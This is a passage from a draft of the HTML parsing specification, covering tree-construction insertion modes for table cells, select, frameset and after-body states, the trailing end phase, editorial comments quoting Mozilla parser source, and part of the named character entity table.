    <dt>An end tag whose tag name is one of: "tbody", "tfoot", "thead"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as the token, this         is a <a href="#parse">parse error</a>. Ignore the token.</p>        <p>Otherwise, act as if an end tag with the tag name "tr" had been         seen, then reprocess the current token.</p>       <dt>An end tag whose tag name is one of: "body", "caption", "col",        "colgroup", "html", "td", "th"       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>Anything else       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> was "<a href="#in-table" title="insertion mode: in         table">in table</a>".</p>      </dl>      <p>When the steps above require the UA to <dfn id=clear3>clear the       stack back to a table row context</dfn>, it means that the UA must,       while the <a href="#current3">current node</a> is not a <code><a       href="#tr0">tr</a></code> element or an <code><a       href="#html0">html</a></code> element, pop elements from the <a       href="#stack">stack of open elements</a>. If this causes any elements       to be popped from the stack, then this is a <a href="#parse">parse       error</a>.</p>      <p class=note>The <a href="#current3">current node</a> being an       <code><a href="#html0">html</a></code> element after this process is       an <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>     <dt id=parsing-main-intd>If the <a href="#insertion0">insertion mode</a>      is "<dfn id=in-cell title="insertion mode: in cell">in cell</dfn>"     <dd>      <dl class=switch>       <dt>An end tag whose tag name is one of: "td", "th"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as that of the         token, then this is a <a href="#parse">parse error</a> and the token         must be ignored.</p>        <p>Otherwise:</p>        <p><a href="#generate">Generate implied end tags</a>, except for         elements with the same tag name as the token.</p>        <p>Now, if the <a href="#current3">current node</a> is not an element         with the same tag name as the token, then this is a <a         href="#parse">parse error</a>.</p>        <p>Pop elements from this stack until an element with the same tag         name as the token has been popped from the stack.</p>        <p><a href="#clear0">Clear the list of active formatting elements up         to the last marker</a>.</p>        <p>Switch the <a href="#insertion0">insertion mode</a> to "<a         href="#in-row" title="insertion mode: in row">in row</a>". (The <a         href="#current3">current node</a> will be a <code><a         href="#tr0">tr</a></code> element at this point.)</p>       <dt>A start tag whose tag name is one of: "caption", "col",        "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does         <em>not</em> <a href="#have-an0" title="has an element in table         scope">have a <code>td</code> or <code>th</code> element in table         scope</a>, then this is a <a href="#parse">parse error</a>; ignore         the token. (<a href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise, <a href="#close2">close the cell</a> (see below) and         reprocess the current token.</p>       <dt>An end tag whose tag name is one of: "body", "caption", "col",        "colgroup", "html"       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>An end tag whose tag name is one of: "table", "tbody", "tfoot",        "thead", "tr"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as that of the         token (which can only happen for "tbody", "tfoot" and "thead", or,         in the <a href="#innerhtml1"><code>innerHTML</code> case</a>), then         this is a <a href="#parse">parse error</a> and the token must be         ignored.</p>        <p>Otherwise, <a href="#close2">close the cell</a> (see below) and         reprocess the current token.</p>       <dt>Anything else       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> was "<a href="#in-body" title="insertion mode: in body">in         body</a>".</p>      </dl>      <p>Where the steps above say to <dfn id=close2>close the cell</dfn>,       they mean to follow the following algorithm:</p>      <ol>       <li>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an0" title="has an element in table scope">has a         <code>td</code> element in table scope</a>, then act as if an end         tag token with the tag name "td" had been seen.       <li>        <p>Otherwise, the <a href="#stack">stack of open elements</a> will <a         href="#have-an0" title="has an element in table scope">have a         <code>th</code> element in table scope</a>; act as if an end tag         token with the tag name "th" had been seen.      </ol>      <p class=note>The <a href="#stack">stack of open elements</a> cannot       have both a <code><a href="#td0">td</a></code> and a <code><a       href="#th0">th</a></code> element <a href="#have-an0" title="has an       element in table scope">in table scope</a> at the same time, nor can       it have neither when the <a href="#insertion0">insertion mode</a> is       "<a href="#in-cell" title="insertion mode: in cell">in cell</a>".</p>     <dt id=parsing-main-inselect>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-select title="insertion mode: in select">in      select</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token       <dd>        <p><a href="#append" title="append a character">Append the token's         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag token whose tag name is "option"       <dd>        <p>If the <a href="#current3">current node</a> is an         <code>option</code> element, act as if an end tag with the tag name         "option" had been seen.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>       <dt>A start tag token whose tag name is "optgroup"       <dd>        <p>If the <a href="#current3">current node</a> is an         <code>option</code> element, act as if an end tag with the tag name         "option" had been seen.</p>        <p>If the <a href="#current3">current node</a> is an         <code>optgroup</code> element, act as if an end tag with the tag         name "optgroup" had been seen.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>       <dt>An end tag token whose tag name is "optgroup"       <dd>        <p>First, if the <a href="#current3">current node</a> is an         <code>option</code> element, and the node immediately before it in         the <a href="#stack">stack of open elements</a> is an         <code>optgroup</code> element, then act as if an end tag with the         tag name "option" had been seen.</p>        <p>If the <a href="#current3">current node</a> is an         <code>optgroup</code> element, then pop that node from the <a         href="#stack">stack of open elements</a>. Otherwise, this is a <a         href="#parse">parse error</a>, ignore the token.</p>       <dt>An end tag token whose tag name is "option"       <dd>        <p>If the <a href="#current3">current node</a> is an         <code>option</code> element, then pop that node from the <a         href="#stack">stack of open elements</a>. Otherwise, this is a <a         href="#parse">parse error</a>, ignore the token.</p>       <dt>An end tag whose tag name is "select"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as the token, this         is a <a href="#parse">parse error</a>. Ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise:</p>        <p>Pop elements from the <a href="#stack">stack of open elements</a>         until a <code>select</code> element has been popped from the stack.</p>        <p><a href="#reset">Reset the insertion mode appropriately</a>.</p>       <dt>A start tag whose tag name is "select"       <dd>        <p><a href="#parse">Parse error</a>. Act as if the token had been an         end tag with the tag name "select" instead.</p>       <dt>An end tag whose tag name is one of: "caption", "table", "tbody",        "tfoot", "thead", "tr", "td", "th"       <dd>        <p><a href="#parse">Parse error</a>.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an0">has an element in table scope</a> with the same tag         name as that of the token, then act as if an end tag with the tag         name "select" had been seen, and reprocess the token. Otherwise,         ignore the token.</p>       <dt>Anything else       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>      </dl>     <dt id=parsing-main-afterbody>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=after2 title="insertion mode: after body">after      body</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p>Process the token as it would be processed if the <a         href="#insertion0">insertion mode</a> was "<a href="#in-body"         title="insertion mode: in body">in body</a>".</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the first element in the <a         href="#stack">stack of open elements</a> (the <code><a         href="#html0">html</a></code> element), with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>An end tag with the tag name "html"       <dd>        <p>If the parser was originally created in order to handle the         setting of <em>an element</em>'s <code title=dom-innerHTML-HTML><a         href="#innerhtml0">innerHTML</a></code> attribute, this is a <a         href="#parse">parse error</a>; ignore the token. (The element will         be an <code><a href="#html0">html</a></code> element in this case.)         (<a href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise, switch to <a href="#the-trailing1">the trailing end         phase</a>.</p>       <dt>Anything else       <dd>        <p><a href="#parse">Parse error</a>. Set the <a         href="#insertion0">insertion mode</a> to "<a href="#in-body"         title="insertion mode: in body">in body</a>" and reprocess the         token.</p>      </dl>     <dt id=parsing-main-inframeset>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-frameset title="insertion mode: in frameset">in      frameset</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag with the tag name "frameset"       <dd>        <p><a href="#insert" title="Insert an HTML element">Insert a         <code>frameset</code> element</a> for the token.</p>       <dt>An end tag with the tag name "frameset"       <dd>        <p>If the <a href="#current3">current node</a> is the root <code><a         href="#html0">html</a></code> element, then this is a <a         href="#parse">parse error</a>; ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise, pop the <a href="#current3">current node</a> from the         <a href="#stack">stack of open elements</a>.</p>        <p>If the parser was <em>not</em> originally created in order to         handle the setting of an element's <code title=dom-innerHTML-HTML><a         href="#innerhtml0">innerHTML</a></code> attribute (<a         href="#innerhtml1"><code>innerHTML</code> case</a>), and the <a         href="#current3">current node</a> is no longer a         <code>frameset</code> element, then change the <a         href="#insertion0">insertion mode</a> to "<a href="#after3"         title="insertion mode: after frameset">after frameset</a>".</p>       <dt>A start tag with the tag name "frame"       <dd>        <p><a href="#insert">Insert an HTML element</a> for the token.         Immediately pop the <a href="#current3">current node</a> off the <a         href="#stack">stack of open elements</a>.</p>       <dt>A start tag with the tag name "noframes"       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> had been "<a href="#in-body" title="insertion mode: in         body">in body</a>".</p>       <dt>Anything else       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>      </dl>     <dt id=parsing-main-afterframeset>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=after3 title="insertion mode: after      frameset">after frameset</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>An end tag with the tag name "html"       <dd>        <p>Switch to <a href="#the-trailing1">the trailing end phase</a>.</p>       <dt>A start tag with the tag name "noframes"       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> had been "<a href="#in-body" title="insertion mode: in         body">in body</a>".</p>       <dt>Anything else       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>      </dl>    </dl>  </dl>  <p class=big-issue>This doesn't handle UAs that don't support frames, or   that do support frames but want to show the NOFRAMES content. Supporting   the former is easy; supporting the latter is harder.  <h5 id=the-trailing><span class=secno>8.2.4.4. </span><dfn   id=the-trailing1>The trailing end phase</dfn></h5>  <p>After <a href="#the-main1">the main phase</a>, as each token is emitted   from the <a href="#tokenisation1">tokenisation</a> stage, it must be   processed as described in this section.  <dl class=switch>   <dt>A DOCTYPE token   <dd>    <p><a href="#parse">Parse error</a>. Ignore the token.</p>   <dt>A comment token   <dd>    <p>Append a <code>Comment</code> node to the <code>Document</code> object     with the <code title="">data</code> attribute set to the data given in     the comment token.</p>   <dt>A character token that is one of one of U+0009 CHARACTER TABULATION,    U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), or    U+0020 SPACE   <dd>    <p>Process the token as it would be processed in <a href="#the-main1">the     main phase</a>.</p>   <dt>A character token that is <em>not</em> one of U+0009 CHARACTER    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM    FEED (FF), or U+0020 SPACE   <dt>A start tag token   <dt>An end tag token   <dd>    <p><a href="#parse">Parse error</a>. Switch back to <a     href="#the-main1">the main phase</a> and reprocess the token.</p>   <dt>An end-of-file token   <dd>    <p><a href="#stop-">Stop parsing</a>.</p>  </dl>  <p class=big-issue>Need to define the term <dfn id=stop->stop   parsing</dfn>. have to run all pending scripts (so document.write()s work)   and say something about the load event. Also need to execute any pending   loads of scripts in the "<a href="#list-of">list of scripts that will   execute when the document has finished parsing</a>".</p>  <!-- XXX  d.w() CHECK WHAT UAs DO!-->  <!--XXX need to handlehttp://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#23542354           // Don't open transient styles if it makes the stack deep, bug 58917.-->  <!--XXXneed to handle <table border>, <div contenteditable>, etc. (shorthand attributes with implied values)-->  <!--XXXdefine <script> in terms of insertion into the document, such that inthis section we don't need to define it here, just note that definition-->  <!--XXXhttp://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/nsHTMLTokenizer.cpp#749-->  <!--newlines:601             // result=aScanner.GetChar(aChar);       602             if(kLF==theNextChar) {603               // If the "\r" is followed by a "\n", don't replace it and 604               // let it be ignored by the layout system605               end.advance(2);606               result=aScanner.GetChar(theNextChar);607             }608             else {609               // If it standalone, replace the "\r" with a "\n" so that 610               // it will be considered by the layout system611               aScanner.ReplaceCharacter(end, kLF);612               ++end;613             }http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/nsHTMLTokens.cpp#601see also  CTextToken::ConsumeCharacterData()  for CDATA parsing?1212                      1  Here's a tricky case from bug 22596:  <h5><li><h5>1213                         How do we know that the 2nd <h5> should close the <LI> rather than nest inside the <LI>?1214                         (Afterall, the <h5> is a legal child of the <LI>).1215               1216                         The way you know is that there is no root between the two, so the <h5> binds more1217                         tightly to the 1st <h5> than to the <LI>.1218                      2.  Also, bug 6148 shows this case: <SPAN><DIV><SPAN>1219                         From this case we learned not to execute this logic if the parent is a block.1220                     1221                      3. Fix for 265831222                         Ex. <A href=foo.html><B>foo<A href-bar.html>bar</A></B></A>  <- A legal HTML1223                         In the above example clicking on "foo" or "bar" should link to1224                         foo.html or bar.html respectively. That is, the inner <A> should be informed1225                         about the presence of an open <A> above <B>..so that the inner <A> can close out1226                         the outer <A>. The following code does it for us.1227                      1228                      4. Fix for 27865 [ similer to 22596 ]. Ex: <DL><DD><LI>one<DD><LI>two - http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#1211815             // Here's a problem.  If theTag is legal in here, we don't move it816             // out.  So if we're moving stuff out of here, the parent of theTag817             // gets closed at this point.  But some things are legal818             // _everywhere_ and hence would effectively close out misplaced819             // content in tables.  This is undesirable, so treat them as820             // illegal here so they'll be shipped out with their parents and821             // siblings.  See bug 40855 for an explanation (that bug was for822             // comments, but the same issues arise with whitespace, newlines,823             // noscript, etc).  Script is special, though.  Shipping it out824             // breaks document.write stuff.  See bug 243064. - http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#8251326     /**************************************************************************************1327      *1328      * Now a little code to deal with bug #49687 (crash when layout stack gets too deep)1329      * I've also opened this up to any container (not just inlines): re bug 550951330      * Improved to handle bug 55980 (infinite loop caused when DEPTH is exceeded and1331      * </P> is encountered by itself (<P>) is continuously produced.1332      *1333      **************************************************************************************/1912               // Oh boy!! we found a "stray" tag. Nav4.x and IE introduce line break in1913               // such cases. So, let's simulate that effect for compatibility.1914               // Ex. <html><body>Hello</P>There</body></html>http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/CNavDTD.cpp#1912http://lxr.mozilla.org/seamonkey/search?string=nested/parser/htmlparser/src/CNavDTD.cpp, line 791 - * 2. <CENTER><DL><DT><A><CENTER> allow nested <CENTER>/parser/htmlparser/src/CNavDTD.cpp, line 792 - * 3. <TABLE><TR><TD><TABLE>... allow nested <TABLE>/parser/htmlparser/src/CNavDTD.cpp, line 2562 - // Discard nested forms - bug 72639/parser/htmlparser/src/nsElementTable.cpp, line 1453 - * 2. <CENTER><DL><DT><A><CENTER> allow nested <CENTER>/parser/htmlparser/src/nsElementTable.cpp, line 1454 - * 3. <TABLE><TR><TD><TABLE>... allow nested <TABLE>/parser/htmlparser/src/nsElementTable.cpp, line 1901 - // Ex: <H1><LI><H1><LI>. Inner LI has the potential of getting nested-->  <h3 id=namespaces><span class=secno>8.3. </span>Namespaces</h3>  <p>The <dfn id=html-namespace0>HTML namespace</dfn> is:   <code>http://www.w3.org/1999/xhtml</code>  <h3 id=entities><span class=secno>8.4. </span><dfn   id=entities1>Entities</dfn></h3>  <p>This table lists the entity names that are supported by HTML, and the   code points to which they refer. It is referenced by the previous   sections.</p>  <!--XXX entities:  94         // If an entity value is greater than 255 then: 95         // Nav 4.x does not treat it as an entity, 96         // IE treats it as an entity if terminated with a semicolon. 97         // Resembling IE!!http://lxr.mozilla.org/mozilla/source/parser/htmlparser/src/nsHTMLTokens.cpp#94-->  <table>   <thead>    <tr>     <th> Entity Name     <th> Character   <tbody>    <tr>     <td> <code title="">AElig</code>     <td> U+00C6    <tr>     <td> <code title="">Aacute</code>     <td> U+00C1    <tr>     <td> <code title="">Acirc</code>     <td> U+00C2    <tr>     <td> <code title="">Agrave</code>     <td> U+00C0    <tr>     <td> <code title="">Alpha</code>     <td> U+0391    <tr>     <td> <code title="">Aring</code>     <td> U+00C5    <tr>     <td> <code title="">Atilde</code>     <td> U+00C3    <tr>     <td> <code title="">Auml</code>     <td> U+00C4    <tr>     <td> <code title="">Beta</code>     <td> U+0392    <tr>     <td> <code title="">Ccedil</code>     <td> U+00C7    <tr>     <td> <code title="">Chi</code>     <td> U+03A7    <tr>     <td> <code title="">Dagger</code>     <td> U+2021    <tr>     <td> <code title="">Delta</code>     <td> U+0394    <tr>     <td> <code title="">ETH</code>     <td> U+00D0    <tr>     <td> <code title="">Eacute</code>     <td> U+00C9    <tr>     <td> <code title="">Ecirc</code>     <td> U+00CA    <tr>     <td> <code title="">Egrave</code>     <td> U+00C8    <tr>     <td> <code title="">Epsilon</code>     <td> U+0395    <tr>     <td> <code title="">Eta</code>     <td> U+0397    <tr>     <td> <code title="">Euml</code>     <td> U+00CB    <tr>     <td> <code title="">Gamma</code>     <td> U+0393    <tr>     <td> <code title="">Iacute</code>     <td> U+00CD    <tr>     <td> <code title="">Icirc</code>     <td> U+00CE    <tr>     <td> <code title="">Igrave</code>     <td> U+00CC    <tr>     <td> <code title="">Iota</code>     <td> U+0399    <tr>     <td> <code title="">Iuml</code>     <td> U+00CF    <tr>     <td> <code title="">Kappa</code>     <td> U+039A    <tr>     <td> <code title="">Lambda</code>     <td> U+039B    <tr>     <td> <code title="">Mu</code>     <td> U+039C    <tr>     <td> <code title="">Ntilde</code>     <td> U+00D1    <tr>     <td> <code title="">Nu</code>     <td> U+039D    <tr>     <td> <code title="">OElig</code>     <td> U+0152    <tr>     <td> <code title="">Oacute</code>     <td> U+00D3    <tr>     <td> <code title="">Ocirc</code>     <td> U+00D4    <tr>     <td> <code title="">Ograve</code>     <td> U+00D2    <tr>     <td> <code title="">Omega</code>     <td> U+03A9    <tr>     <td> <code title="">Omicron</code>     <td> U+039F    <tr>     <td> <code title="">Oslash</code>     <td> U+00D8    <tr>     <td> <code title="">Otilde</code>     <td> U+00D5    <tr>     <td> <code title="">Ouml</code>     <td> U+00D6    <tr>     <td> <code title="">Phi</code>     <td> U+03A6    <tr>     <td> <code title="">Pi</code>     <td> U+03A0    <tr>     <td> <code title="">Prime</code>     <td> U+2033    <tr>     <td> <code title="">Psi</code>     <td> U+03A8    <tr>     <td> <code title="">Rho</code>     <td> U+03A1    <tr>     <td> <code title="">Scaron</code>     <td> U+0160    <tr>     <td> <code title="">Sigma</code>     <td> U+03A3    <tr>     <td> <code title="">THORN</code>     <td> U+00DE    <tr>     <td> <code title="">Tau</code>     <td> U+03A4    <tr>     <td> <code title="">Theta</code>     <td> U+0398    <tr>     <td> <code title="">Uacute</code>     <td> U+00DA    <tr>     <td> <code title="">Ucirc</code>     <td> U+00DB    <tr>     <td> <code title="">Ugrave</code>     <td> U+00D9    <tr>     <td> <code title="">Upsilon</code>     <td> U+03A5    <tr>     <td> <code title="">Uuml</code>     <td> U+00DC    <tr>     <td> <code title="">Xi</code>     <td> U+039E    <tr>     <td> <code title="">Yacute</code>     <td> U+00DD    <tr>     <td> <code title="">Yuml</code>     <td> U+0178    <tr>     <td> <code title="">Zeta</code>     <td> U+0396    <tr>     <td> <code title="">aacute</code>     <td> U+00E1    <tr>     <td> <code title="">acirc</code>     <td> U+00E2    <tr>     <td> <code title="">acute</code>     <td> U+00B4    <tr>     <td> <code title="">aelig</code>     <td> U+00E6    <tr>     <td> <code title="">agrave</code>     <td> U+00E0    <tr>     <td> <code title="">alefsym</code>     <td> U+2135    <tr>     <td> <code title="">alpha</code>     <td> U+03B1    <tr>     <td> <code title="">amp</code>     <td> U+0026    <tr>     <td> <code title="">AMP</code>     <td> U+0026    <tr>     <td> <code title="">and</code>     <td> U+2227    <tr>     <td> <code title="">ang</code>     <td> U+2220    <tr>     <td> <code title="">apos</code>     <td> U+0027    <tr>     <td> <code title="">aring</code>     <td> U+00E5    <tr>     <td> <code title="">asymp</code>     <td> U+2248    <tr>     <td> <code title="">atilde</code>     <td> U+00E3    <tr>     <td> <code title="">auml</code>     <td> U+00E4    <tr>     <td> <code title="">bdquo</code>     <td> U+201E    <tr>     <td> <code title="">beta</code>     <td> U+03B2    <tr>     <td> <code title="">brvbar</code>     <td> U+00A6    <tr>     <td> <code title="">bull</code>     <td> U+2022    <tr>     <td> <code title="">cap</code>     <td> U+2229    <tr>     <td> <code title="">ccedil</code>     <td> U+00E7    <tr>     <td> <code title="">cedil</code>     <td> U+00B8    <tr>     <td> <code title="">cent</code>     <td> U+00A2    <tr>     <td> <code title="">chi</code>     <td> U+03C7    <tr>     <td> <code title="">circ</code>     <td> U+02C6    <tr>     <td> <code title="">clubs</code>     <td> U+2663    <tr>     <td> <code title="">cong</code>     <td> U+2245    <tr>     <td> <code title="">copy</code>     <td> U+00A9    <tr>     <td> <code title="">COPY</code>     <td> U+00A9    <tr>     <td> <code title="">crarr</code>     <td> U+21B5    <tr>     <td> <code title="">cup</code>     <td> U+222A    <tr>     <td> <code title="">curren</code>     <td> U+00A4    <tr>     <td> <code title="">dArr</code>     <td> U+21D3    <tr>     <td> <code title="">dagger</code>     <td> U+2020    <tr>     <td> <code title="">darr</code>     <td> U+2193    <tr>     <td> <code title="">deg</code>     <td> U+00B0    <tr>     <td> <code title="">delta</code>     <td> U+03B4    <tr>     <td> <code title="">diams</code>     <td> U+2666    <tr>     <td> <code title="">divide</code>     <td> U+00F7    <tr>     <td> <code title="">eacute</code>     <td> U+00E9    <tr>     <td> <code title="">ecirc</code>     <td> U+00EA    <tr>     <td> <code title="">egrave</code>     <td> U+00E8    <tr>     <td> <code title="">empty</code>     <td> U+2205    <tr>     <td> <code title="">emsp</code>     <td> U+2003    <tr>     <td> <code title="">ensp</code>     <td> U+2002    <tr>     <td> <code title="">epsilon</code>     <td> U+03B5    <tr>     <td> <code title="">equiv</code>     <td> U+2261    <tr>     <td> <code title="">eta</code>     <td> U+03B7    <tr>     <td> <code title="">eth</code>     <td> U+00F0    <tr>     <td> <code title="">euml</code>     <td> U+00EB    <tr>     <td> <code title="">euro</code>     <td> U+20AC    <tr>     <td> <code title="">exist</code>     <td> U+2203    <tr>     <td> <code title="">fnof</code>     <td> U+0192    <tr>     <td> <code title="">forall</code>     <td> U+2200    <tr>     <td> <code title="">frac12</code>     <td> U+00BD    <tr>     <td> <code title="">frac14</code>     <td> U+00BC    <tr>     <td> <code title="">frac34</code>     <td> U+00BE    <tr>     <td> <code title="">frasl</code>     <td> U+2044    <tr>     <td> <code title="">gamma</code>     <td> U+03B3    <tr>     <td> <code title="">ge</code>     <td> U+2265    <tr>     <td> <code title="">gt</code>     <td> U+003E    <tr>     <td> <code title="">GT</code>     <td> U+003E    <tr>     <td> <code title="">hArr</code>     <td> U+21D4    <tr>     <td> <code title="">harr</code>     <td> U+2194    <tr>     <td> <code title="">hearts</code>     <td> U+2665    <tr>     <td> <code title="">hellip</code>     <td> U+2026    <tr>     <td> <code title="">iacute</code>     <td> U+00ED    <tr>     <td> <code title="">icirc</code>     <td> U+00EE    <tr>     <td> <code title="">iexcl</code>     <td> U+00A1    <tr>     <td> <code title="">igrave</code>     <td> U+00EC    <tr>     <td> <code title="">image</code>     <td> U+2111    <tr>     <td> <code title="">infin</code>     <td> U+221E    <tr>     <td> <code title="">int</code>     <td> U+222B    <tr>     <td> <code title="">iota</code>     <td> U+03B9    <tr>     <td> <code title="">iquest</code>     <td> U+00BF    <tr>     <td> <code title="">isin</code>     <td> U+2208    <tr>     <td> <code title="">iuml</code>     <td> U+00EF    <tr>     <td> <code title="">kappa</code>     <td> U+03BA    <tr>     <td> <code title="">lArr</code>     <td> U+21D0    <tr>     <td> <code title="">lambda</code>     <td> U+03BB    <tr>     <td> <code title="">lang</code>     <td> U+2329    <tr>     <td> <code title="">laquo</code>     <td> U+00AB    <tr>     <td> <code title="">larr</code>     <td> U+2190    <tr>     <td> <code title="">lceil</code>     <td> U+2308    <tr>     <td> <code title="">ldquo</code>     <td> U+201C    <tr>     <td> <code title="">le</code>     <td> U+2264    <tr>     <td> <code title="">lfloor</code>     <td> U+230A    <tr>     <td> <code title="">lowast</code>     <td> U+2217    <tr>     <td> <code title="">loz</code>     <td> U+25CA    <tr>     <td> <code title="">lrm</code>     <td> U+200E    <tr>     <td> <code title="">lsaquo</code>     <td> U+2039    <tr>     <td> <code title="">lsquo</code>     <td> U+2018    <tr>     <td> <code title="">lt</code>     <td> U+003C    <tr>     <td> <code title="">LT</code>     <td> U+003C    <tr>     <td> <code title="">macr</code>     <td> U+00AF    <tr>     <td> <code title="">mdash</code>     <td> U+2014    <tr>     <td> <code title="">micro</code>     <td> U+00B5    <tr>     <td> <code title="">middot</code>     <td> U+00B7    <tr>     <td> <code title="">minus</code>     <td> U+2212    <tr>     <td> <code title="">mu</code>     <td> U+03BC    <tr>     <td> <code title="">nabla</code>     <td> U+2207    <tr>     <td> <code title="">nbsp</code>     <td> U+00A0    <tr>     <td> <code title="">ndash</code>     <td> U+2013    <tr>     <td> <code title="">ne</code>     <td> U+2260    <tr>     <td> <code title="">ni</code>     <td> U+220B    <tr>     <td> <code title="">not</code>     <td> U+00AC    <tr>     <td> <code title="">notin</code>     <td> U+2209    <tr>     <td> <code title="">nsub</code>     <td> U+2284    <tr>     <td> <code title="">ntilde</code>     <td> U+00F1    <tr>     <td> <code title="">nu</code>     <td> U+03BD    <tr>     <td> <code title="">oacute</code>     <td> U+00F3    <tr>     <td> <code title="">ocirc</code>     <td> U+00F4    <tr>     <td> <code title="">oelig</code>     <td> U+0153    <tr>     <td> <code title="">ograve</code>     <td> U+00F2    <tr>     <td> <code title="">oline</code>     <td> U+203E    <tr>     <td> <code title="">omega</code>     <td> U+03C9    <tr>     <td> <code title="">omicron</code>     <td> U+03BF    <tr>     <td> <code title="">oplus</code>     <td> U+2295    <tr>     <td> <code title="">or</code>     <td> U+2228    <tr>     <td> <code title="">ordf</code>     <td> U+00AA    <tr>     <td> <code title="">ordm</code>     <td> U+00BA    <tr>     <td> <code title="">oslash</code>     <td> U+00F8    <tr>     <td> <code title="">otilde</code>     <td> U+00F5    <tr>     <td> <code title="">otimes</code>     <td> U+2297    <tr>     <td> <code title="">ouml</code>     <td> U+00F6    <tr>     <td> <code title="">para</code>     <td> U+00B6    <tr>     <td> <code title="">part</code>     <td> U+2202    <tr>     <td> <code title="">permil</code>     <td> U+2030    <tr>     <td> <code title="">perp</code>     <td> U+22A5    <tr>     <td> <code title="">phi</code>     <td> U+03C6    <tr>     <td> <code title="">pi</code>     <td> U+03C0    <tr>     <td> <code title="">piv</code>     <td> U+03D6    <tr>     <td> <code title="">plusmn</code>     <td> U+00B1    <tr>     <td> <code title="">pound</code>     <td> U+00A3    <tr>     <td> <code title="">prime</code>     <td> U+2032    <tr>     <td> <code title="">prod</code>     <td> U+220F    <tr>     <td> <code title="">prop</code>     <td> U+221D    <tr>     <td> <code title="">psi</code>     <td> U+03C8    <tr>     <td> <code title="">quot</code>     <td> U+0022    <tr>     <td> <code title="">QUOT</code>     <td> U+0022    <tr>     <td> <code title="">rArr</code>     <td> U+21D2    <tr>     <td> <code title="">radic</code>     <td> U+221A    <tr>     <td> <code title="">rang</code>     <td> U+232A    <tr>     <td> <code title="">raquo</code>     <td> U+00BB    <tr>     <td> <code title="">rarr</code>     <td> U+2192    <tr>     <td> <code title="">rceil</code>     <td> U+2309    <tr>     <td> <code title="">rdquo</code>     <td> U+201D    <tr>     <td> <code title="">real</code>     <td> U+211C    <tr>     <td> <code title="">reg</code>     <td> U+00AE    <tr>     <td> <code title="">REG</code>     <td> U+00AE    <tr>     <td> <code title="">rfloor</code>     <td> U+230B    <tr>     <td> <code title="">rho</code>     <td> U+03C1    <tr>     <td> <code title="">rlm</code>     <td> U+200F    <tr>     <td> <code title="">rsaquo</code>     <td> U+203A    <tr>     <td> <code title="">rsquo</code>     <td> U+2019    <tr>     <td> <code title="">sbquo</code>     <td> U+201A    <tr>     <td> <code title="">scaron</code>     <td> U+0161    <tr>     <td> <code title="">sdot</code>     <td> U+22C5    <tr>     <td> 